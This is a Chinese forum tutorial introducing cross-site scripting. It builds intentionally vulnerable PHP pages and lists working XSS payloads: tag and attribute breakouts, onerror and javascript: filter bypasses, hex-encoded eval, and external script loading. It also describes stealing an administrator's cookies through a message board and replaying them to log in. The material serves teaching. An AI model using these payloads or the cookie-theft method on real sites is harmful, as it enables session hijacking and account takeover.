×
热搜词

XSS的原理分析与解剖

[复制链接]
安全知识] 来源:   admin 2019-9-4 16:25:52 [显示全部楼层] |只看大图 回帖奖励 |倒序浏览 |阅读模式

0×01 前言:

《XSS攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。


我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用


但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个


Xss几乎每个网站都存在,google、baidu、360等都存在。


0×02 原理:

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:


  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <title>XSS原理重现</title>
  5. </head>
  6. <body>
  7. <form action="" method="get">
  8. <input type="text" name="xss_input">
  9. <input type="submit">
  10. </form>
  11. <hr>
  12. <?php
  13. $xss = $_GET['xss_input'];
  14. echo '你输入的字符为<br>'.$xss;
  15. ?>
  16. </body>
  17. </html>
复制代码

然后,你会在页面看到这样的页面


75791407901856.png


我们试着输入abcd123,得到的结果为

46981407901856.png


我们在看看源代码


16201407901857.png


我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入<script>alert(‘xss’)</script>会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br>与</boby>之间,变成<br><script>alert(‘xss’)</script></boby>,那应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入<script>alert(‘xss’)</script>,得到的页面为


54671407901858.png


成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码


49991407901858.png


看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用

0×03 xss利用输出的环境来构造代码        :

上节说了xss的原理,但是我们的输出点不一在<br>和</boby>里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入

<script>alert(‘xss’)</script>就会弹窗。

先贴出代码:

  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <title>XSS利用输出的环境来构造代码</title>
  5. </head>
  6. <body>
  7. <center>
  8. <h6>把我们输入的字符串 输出到input里的value属性里</h6>
  9. <form action="" method="get">
  10. <h6>请输入你想显现的字符串</h6>
  11. <input type="text" name="xss_input_value" value="输入"><br>
  12. <input type="submit">
  13. </form>
  14. <hr>
  15. <?php
  16. $xss = $_GET['xss_input_value'];
  17. if(isset($xss)){
  18. echo '<input type="text" value="'.$xss.'">';
  19. }else{
  20. echo '<input type="type" value="输出">';
  21. }
  22. ?>
  23. </center>
  24. </body>
  25. </html>
复制代码

下面是代码的页面


82641407901859.png


这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入<script>alert(‘xss’)</script>来测试)


13291407901860.png


791407901860.png





明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码


58951407901861.png


第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那就是如果在<textarea>标签里呢?!或者其他优先级比script高的呢?


就下面这样


93101407901866.png


这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入</textarea><script>alert(‘xss’)</script>就可以实现弹窗了

0×04 过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写


  1. <img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
  2. <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
  3. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗
  4. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗
复制代码

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。

这时我们要插入js代码了,怎么插呢?

你可以这样


  1. <script scr="js_url"></script>
复制代码

也可以这样

  1. <img src=x onerror=appendChild(createElement('script')).src='js_url' />
复制代码

各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入<script scr=”js_url”></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

至于不会js的怎么写js代码呢,放心网上有很多xss平台,百度一下就可以看到了。页面是傻瓜式的操作,这里就不再过多的说明了。

有兴趣的朋友,自己找几个xss平台,大家可以自己钻研与研究,也可以自己搭建

在发布此文章的时候,我特地和cn4rry谈了一下,得到的结果是,我会继续写这个系列的。当我把这个doc发给cn4rry的时候,他就直接来句“嗯 写的比较基础”,我本来的打算是写一个xss入门的就可以了,我只是感觉 现在网上的文章从简单开始介绍xss的比较少,都是在书里有

所以 我想在网上把他讲的细点 xss入门就可以了,后面的路 就可以自己摸索了

但是和他谈过后,感觉还是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果是自己慢慢琢磨的话,需要较长的时间,所以我打算每过一段时间就会推出下一个xss的文章,写个系列出来。


14078329374246.jpg
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则